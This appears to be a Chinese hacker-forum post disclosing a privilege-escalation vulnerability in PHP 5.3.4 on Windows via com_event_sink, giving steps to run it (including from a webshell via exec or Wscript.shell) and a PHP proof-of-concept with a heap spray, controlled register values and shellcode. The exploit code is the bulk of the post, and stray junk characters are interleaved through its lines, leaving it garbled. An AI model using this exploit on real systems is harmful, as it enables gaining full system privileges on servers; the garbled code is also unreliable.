PHP 5.3.4(WIN) COM_SINK权限提升漏洞

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PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中

测试方法如下：cmd /c x:\php\php.exe x:\test.php
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下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
; D. d4 k; ]+ _8 s1 g这里是两个测试的截图：

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成功利用此漏洞的攻击者将获得系统的最高权限
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关于漏洞分析稍后附上。一下是PoC代码：
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<?php
. X4 |; a/ b, K6 H! F( [//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
# U; B0 j, W. S( {//$eip ="\x44\x43\x42\x41";
$eip= "\x4b\xe8\x57\x78";
$eax ="\x80\x01\x8d\x04";
$deodrant="";
/ q" p7 C+ F& G7 l! Y8 m, z$axespray = str_repeat($eip.$eax,0x80);
5 o) W% u. w" \. }8 w( S//048d0190
* B, V( }/ U$ N) F7 J5 Gecho strlen($axespray);
; l9 |" p' h# n! yecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
+ E3 I1 e. y! ~0 s4 Pecho "Silic Group Hacker Army - BlackBap.Org";
//19200 ==4B32 4b00
, e; t3 S& A$ R8 nfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
/ o1 a3 z. C% v5 R: v: Y( N9 r$terminate = "T";
3 z0 Q9 j( J4 X- t- U5 ^, ]; U$u[] =$deodrant;
$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;
: b+ w/ R2 ^/ G1 \  m) W//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
  o4 C5 }9 e- t7 h- N7 D$vVar = new VARIANT(0x048d0000+180);
4 B; c. ~$ e# O" S+ S//弹窗代码(Shellcode)
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
$var2 = new VARIANT(0x41414242);
com_event_sink($vVar,$var2,$buffer);
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